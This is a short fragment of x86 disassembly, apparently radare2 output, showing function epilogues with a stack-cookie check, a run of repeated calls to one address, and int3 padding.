ret 0x10
mov ecx, dword [esp + 0xa5c]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.00437671
mov esp, ebp
pop ebp
ret 0x10
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
int3